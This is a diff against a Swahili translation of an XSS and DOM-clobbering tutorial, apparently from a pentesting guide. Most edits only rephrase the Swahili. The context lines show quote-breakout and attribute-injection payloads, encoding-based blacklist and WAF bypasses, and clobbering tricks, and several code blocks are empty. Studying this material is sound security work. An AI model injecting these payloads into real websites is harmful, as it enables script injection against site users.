@@ -347,17 +347,17 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 ```
 **Njia nyingine za kuficha**
 
-_**Katika kesi hii, usimbuaji wa HTML na mbinu ya usimbuaji wa Unicode kutoka sehemu ya awali pia ni halali kwani uko ndani ya sifa.**_
+_**Katika kesi hii, njia ya uandishi wa HTML na njia ya uandishi wa Unicode kutoka sehemu iliyopita pia ni halali kwani uko ndani ya sifa.**_
 ```javascript
 
 ```
-Zaidi ya hayo, kuna **njia nzuri** nyingine kwa kesi hizi: **Hata kama ingizo lako ndani ya `javascript:...` linapewa URL encoding, litakuwa URL decoded kabla ya kutekelezwa.** Hivyo, ikiwa unahitaji **kutoroka** kutoka kwa **nyuzi** kwa kutumia **nukta moja** na unaona kwamba **linapewa URL encoding**, kumbuka kwamba **haijalishi,** litakuwa **limeeleweka** kama **nukta moja** wakati wa **wakati wa utekelezaji.**
+Zaidi ya hayo, kuna **hila nzuri** kwa kesi hizi: **Hata kama ingizo lako ndani ya `javascript:...` linapandishwa URL, litakuwa URL decoded kabla ya kutekelezwa.** Hivyo, ikiwa unahitaji **kutoroka** kutoka kwa **nyuzi** kwa kutumia **nukta moja** na unaona kwamba **linapandishwa URL**, kumbuka kwamba **haijalishi,** litakuwa **limefasiriwa** kama **nukta moja** wakati wa **wakati wa utekelezaji.**
 ```javascript
 '-alert(1)-'
 %27-alert(1)-%27
 
 ```
-Kumbuka kwamba ikiwa utajaribu **kutumia zote** `URLencode + HTMLencode` kwa mpangilio wowote ili kuandika **payload** haitafanya **kazi**, lakini unaweza **kuziunganisha ndani ya payload**.
+Kumbuka kwamba ukijaribu **kutumia zote** `URLencode + HTMLencode` kwa mpangilio wowote ili kuandika **payload** haitafanya **kazi**, lakini unaweza **kuziunganisha ndani ya payload**.
 
 **Kutumia Hex na Octal encode na `javascript:`**
 
@@ -401,9 +401,9 @@ Firefox: %09 %20 %28 %2C %3B
 Opera: %09 %20 %2C %3B
 Android: %09 %20 %28 %2C %3B
 ```
-### XSS katika "Madaraja Yasiyoweza Kutumika" (ingizo lililofichwa, kiungo, kanuni, meta)
+### XSS katika "Madaraja Yasiyoweza Kutumika" (kigezo kilichofichwa, kiungo, kanuni, meta)
 
-Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia vibaya ingizo lililofichwa na:**
+Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia vibaya kigezo kilichofichwa na:**
 ```html
 
 
@@ -426,25 +426,25 @@ Kutoka [**hapa**](https://portswigger.net/research/xss-in-hidden-input-fields):
 ```markup
 
 ```
-**Mchango wa XSS utakuwa kama ifuatavyo: `" accesskey="x" onclick="alert(1)" x="`**
+**XSS payload itakuwa kama hii: `" accesskey="x" onclick="alert(1)" x="`**
 
-### Kupita kwenye Orodha ya Blacklist
+### Blacklist Bypasses
 
-Hizi ni mbinu kadhaa za kutumia uandishi tofauti ambazo tayari zimefunuliwa ndani ya sehemu hii. Rudi **kujifunza wapi unaweza kutumia:**
+Hila kadhaa za kutumia uandishi tofauti zimefunuliwa tayari ndani ya sehemu hii. Rudi **kujifunza wapi unaweza kutumia:**
 
-- **Uandishi wa HTML (vitambulisho vya HTML)**
-- **Uandishi wa Unicode (unaweza kuwa ni msimbo halali wa JS):** `\u0061lert(1)`
-- **Uandishi wa URL**
-- **Uandishi wa Hex na Octal**
-- **Uandishi wa data**
+- **HTML encoding (HTML tags)**
+- **Unicode encoding (inaweza kuwa JS code halali):** `\u0061lert(1)`
+- **URL encoding**
+- **Hex na Octal encoding**
+- **data encoding**
 
-**Kupita kwa vitambulisho na sifa za HTML**
+**Bypasses kwa HTML tags na attributes**
 
-Soma [Kupita kwenye Orodha ya Blacklist ya sehemu ya awali](./#blacklist-bypasses).
+Soma [Blacklist Bypasses ya sehemu ya awali](./#blacklist-bypasses).
 
-**Kupita kwa msimbo wa JavaScript**
+**Bypasses kwa JavaScript code**
 
-Soma [orodha ya kupita ya JavaScript ya sehemu ifuatayo](./#javascript-bypass-blacklists-techniques).
+Soma [javaScript bypass blacklist ya sehemu ifuatayo](./#javascript-bypass-blacklists-techniques).
 
 ### CSS-Gadgets
 
@@ -452,7 +452,7 @@ Ikiwa umepata **XSS katika sehemu ndogo sana** ya wavuti inayohitaji aina fulani
 
 Kwa mfano, unaweza kuongeza mtindo katika kipengele kama: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
 
-Lakini, ikiwa WAF inachuja sifa ya mtindo, unaweza kutumia CSS Styling Gadgets, hivyo ikiwa unapata, kwa mfano
+Lakini, ikiwa WAF inachuja attribute ya mtindo, unaweza kutumia CSS Styling Gadgets, hivyo ikiwa unapata, kwa mfano
 
 > .test {display:block; color: blue; width: 100%\}
 
@@ -464,15 +464,15 @@ Sasa unaweza kubadilisha kiungo chetu na kukileta katika mfumo
 
 > \
 
-Hii mbinu ilichukuliwa kutoka [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
+Hila hii ilichukuliwa kutoka [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
 
-## Kuingiza ndani ya msimbo wa JavaScript
+## Kuingiza ndani ya JavaScript code
 
-Katika kesi hizi **ingizo** lako litakuwa **limeakisiwa ndani ya msimbo wa JS** wa faili ya `.js` au kati ya vitambulisho vya `` au kati ya matukio ya HTML ambayo yanaweza kutekeleza msimbo wa JS au kati ya sifa zinazokubali itifaki ya `javascript:`.
+Katika kesi hizi **input** yako itakuwa **imeakisiwa ndani ya JS code** ya faili ya `.js` au kati ya `` tags au kati ya matukio ya HTML ambayo yanaweza kutekeleza JS code au kati ya attributes zinazokubali protokali ya `javascript:`.
 
-### Kutoroka \` unaweza kwa urahisi **kutoroka kufunga `` unaweza kwa urahisi **kuepuka kufunga `
 ```
@@ -480,7 +480,7 @@ Kumbuka kwamba katika mfano huu **hatujaifunga hata nukta moja**. Hii ni kwa sab
 
 ### Ndani ya msimbo wa JS
 
-Ikiwa `<>` zinatakaswa unaweza bado **kutoroka mfuatano** ambapo ingizo lako lina **patikana** na **kutekeleza JS isiyo ya kawaida**. Ni muhimu **kurekebisha sintaksia ya JS**, kwa sababu ikiwa kuna makosa yoyote, msimbo wa JS hautatekelezwa:
+Ikiwa `<>` zinatakaswa bado unaweza **kuepuka mfuatano** ambapo ingizo lako linapatikana na **kutekeleza JS isiyo ya kawaida**. Ni muhimu **kurekebisha sintaksia ya JS**, kwa sababu ikiwa kuna makosa yoyote, msimbo wa JS hautatekelezwa:
 ```
 '-alert(document.domain)-'
 ';alert(document.domain)//
@@ -489,7 +489,7 @@ Ikiwa `<>` zinatakaswa unaweza bado **kutoroka mfuatano** ambapo ingizo lako lin
 ### Template literals \`\`
 
 Ili kujenga **nyuzi** mbali na nukta moja na mbili, JS pia inakubali **backticks** **` `` `**. Hii inajulikana kama template literals kwani inaruhusu **kuingiza maelekezo ya JS** kwa kutumia sintaksia `${ ... }`.\
-Hivyo, ikiwa unapata kuwa ingizo lako linatolewa **ndani ya** nyuzi ya JS inayotumia backticks, unaweza kutumia sintaksia `${ ... }` kutekeleza **kodhi ya JS isiyo na mipaka**:
+Hivyo, ikiwa utagundua kuwa ingizo lako linatolewa **ndani ya** nyuzi ya JS inayotumia backticks, unaweza kutumia sintaksia `${ ... }` kutekeleza **kodhi ya JS isiyo na mipaka**:
 
 Hii inaweza **kutumiwa vibaya** kwa kutumia:
 ```javascript
@@ -503,7 +503,7 @@ return loop
 }
 loop``````````````
 ```````````````
-### Utekelezaji wa msimbo ulioandikwa
+### Utekelezaji wa msimbo uliofungwa
 ```markup
 
 
 ```
-**Tu** vipengele fulani tu vinaweza kutumia **sifa ya jina** ili kuharibu globals, ni: `embed`, `form`, `iframe`, `image`, `img` na `object`.
+**Tu** vipengele fulani tu vinaweza kutumia **sifa ya jina** kuweza kuharibu globals, ni: `embed`, `form`, `iframe`, `image`, `img` na `object`.
 
-Kwa kushangaza, unapokuwa unatumia **kipengele cha fomu** ku **haribu** variable, utapata **`toString`** ya kipengele chenyewe: `[object HTMLFormElement]` lakini kwa **kiungo** **`toString`** itakuwa **`href`** ya kiungo. Hivyo, ikiwa uta **haribu** kwa kutumia **`a`** tag, unaweza **kontroli** **thamani** wakati inachukuliwa kama **string**:
+Kwa kushangaza, unapokuwa unatumia **kipengele cha fomu** kuweza **kuharibu** variable, utapata **`toString`** ya kipengele chenyewe: `[object HTMLFormElement]` lakini kwa **kiungo** **`toString`** itakuwa **`href`** ya kiungo. Hivyo, ikiwa utaweza kuharibu kwa kutumia **`a`** tag, unaweza **kudhibiti** **thamani** wakati inapotendewa kama **string**:
 ```html
 
 
 ```
-Ili kubadilisha **sifa ya 3rd** (mfano x.y.z), unahitaji kutumia **`form`**:
+Ili kuharibu **sifa ya 3** (mfano x.y.z), unahitaji kutumia **`form`**:
 ```html
 
 
@@ -52,7 +52,7 @@ alert(x.y) //controlled ``` > [!WARNING] -> Tag ya style inatumika kutoa **muda wa kutosha kwa iframe kuonyesha**. Bila yake utaona arifa ya **undefined**. +> Tag ya style inatumika kutoa **muda wa kutosha kwa iframe kuonyesha**. Bila hiyo utaona arifa ya **undefined**. Ili kuharibu sifa za ndani zaidi, unaweza kutumia **iframes zenye uandishi wa html** hivi: ```html @@ -66,9 +66,9 @@ srcdoc="